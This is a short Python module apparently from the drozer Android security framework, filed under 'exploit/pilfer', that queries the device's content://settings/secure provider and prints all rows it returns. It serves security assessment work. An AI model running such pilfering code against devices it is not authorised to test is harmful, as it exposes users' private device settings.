from drozer.modules import common, Module

class SettingsProvider(Module, common.TableFormatter, common.Provider):

    name = "Reads Settings content provider"
    description = "Reads Settings Information"
    examples = ""
    author = "Tyrone (@mwrlabs)"
    date = "2012-11-06"
    license = "BSD (3 clause)"
    path = ["exploit", "pilfer", "general"]
    permissions = ["com.WithSecure.dz.permissions.GET_CONTEXT"]

    def execute(self, arguments):
        data = self.getResultSet(self.contentResolver().query("content://settings/secure"))

        self.print_table(data, show_headers=True, vertical=True)
        
